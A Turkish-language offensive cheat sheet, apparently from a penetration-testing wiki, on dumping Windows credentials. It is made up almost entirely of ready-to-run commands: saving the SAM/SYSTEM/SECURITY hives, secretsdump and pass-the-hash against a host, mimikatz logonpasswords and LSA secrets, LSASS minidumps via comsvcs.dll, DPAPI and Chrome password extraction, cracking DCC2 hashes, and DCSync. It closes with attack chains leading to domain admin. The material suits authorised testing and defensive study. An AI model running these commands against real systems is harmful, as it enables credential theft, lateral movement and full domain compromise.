Windows Credential Dumping

MITRE ATT&CK · T1003 phase: credential-access

Yerel admin / SYSTEM elde edildikten sonra Windows kimlik mağazaları boşaltılır: SAM (yerel hesap hash’leri), LSA Secrets (servis hesapları, otomatik logon), DPAPI blob’ları ve LSASS belleği. Domain ortamında bunlar yanal hareket ve LSASS / DCSync zincirine bağlanır.

Ön koşullar

- Local admin veya SYSTEM (çoğu teknik)
- SeBackupPrivilege / SeDebugPrivilege bazı yollarda yeterli
- Hedef: NT hash, cleartext, DPAPI masterkey, ticket

SAM — yerel hesap hash’leri

SAM veritabanı yerel kullanıcı NT hash’lerini tutar. SYSTEM + SAM hive’ları birlikte gerekir.

reg save HKLM\SAM C:\Users\Public\SAM

reg save HKLM\SYSTEM C:\Users\Public\SYSTEM

reg save HKLM\SECURITY C:\Users\Public\SECURITY

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

Uzaktan (admin + share):

impacket-secretsdump domain/admin:Pass@10.10.10.20

impacket-secretsdump -hashes :NTHASH administrator@10.10.10.20

nxc smb 10.10.10.20 -u admin -H NTHASH --sam

secretsdump · remote

embedded tool

TargetUserNT hash

Generated command

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.20

secretsdump · remote

Volume Shadow Copy / esentutl ile offline kopya da alınabilir; özet için reg save yeterli.

LSA Secrets

HKLM\SECURITY\Policy\Secrets altında servis hesabı parolaları, default logon, DPAPI machine key parçaları bulunur. secretsdump SECURITY hive ile birlikte LSA’yı çözer.

reg save HKLM\SECURITY C:\Users\Public\SECURITY

impacket-secretsdump -security SECURITY -system SYSTEM LOCAL

# mimikatz (SYSTEM)
privilege::debug

sekurlsa::logonpasswords

lsadump::secrets

lsadump::sam

nxc smb 10.10.10.20 -u admin -H NTHASH --lsa

Autologon registry (düşük gürültü, bazen cleartext):

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

DPAPI — kullanıcı / makine sırları

Tarayıcı parolaları, Credential Manager, RDP kaydı, Wi-Fi profili DPAPI ile korunur. Derin teknikler: DPAPI.

dir /a %APPDATA%\Microsoft\Protect

dir /a %APPDATA%\Microsoft\Credentials

dir /a "%LOCALAPPDATA%\Google\Chrome\User Data\Default"

impacket-dpapi masterkey -file masterkey -sid S-1-5-21-... -password 'UserPass'

impacket-dpapi credential -file credblob -key 0x...

Domain’de DA ile backup key → tüm kullanıcı masterkey’leri:

impacket-dpapi backupkeys -t domain/admin:Pass@DC

LSASS (köprü)

Bellekten parola/hash/ticket — ayrı sayfa:

LSASS Credential Dumping

Kısa hatırlatma:

rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 1234 C:\Users\Public\l.dmp full

nxc smb 10.10.10.20 -u admin -H NTHASH -M lsassy

Credential Guard açıksa klasik cleartext/LSASS secret kısıtlanır; SAM/LSA, ticket ve DPAPI yollarına kay.

Credential Manager & cached logons

cmdkey /list

vaultcmd /listcreds:"Windows Credentials" /all

# Domain cached credentials (DCC2) — SYSTEM + SECURITY
# secretsdump çıktısında mscash / DCC2 satırları

hashcat -m 2100 dcc2.hash rockyou.txt

NTDS / domain (köprü)

DC’de veya DA ile:

impacket-secretsdump -just-dc domain/admin:Pass@10.10.10.5

Metodoloji

Yerel admin/SYSTEM doğrula (whoami / net localgroup administrators).
SAM+SYSTEM (+SECURITY) kaydet veya uzaktan secretsdump.
LSA secrets ve Autologon cleartext tara.
Oturum varsa LSASS; kullanıcı sırları için DPAPI.
Hash’lerle PtH / spray / lateral — Pass-the-Hash.

Saldırı zinciri

local admin → reg save SAM/SYSTEM
  → secretsdump LOCAL → local admin hash
  → PtH → başka hostlar

SYSTEM → lsadump::secrets
  → servis hesabı cleartext
  → SQL/backup lateral

HasSession DA + local admin
  → LSASS dump → DA hash/ticket
  → DCSync

User password biliniyor
  → DPAPI masterkey → Chrome passwords
  → vault / RDP creds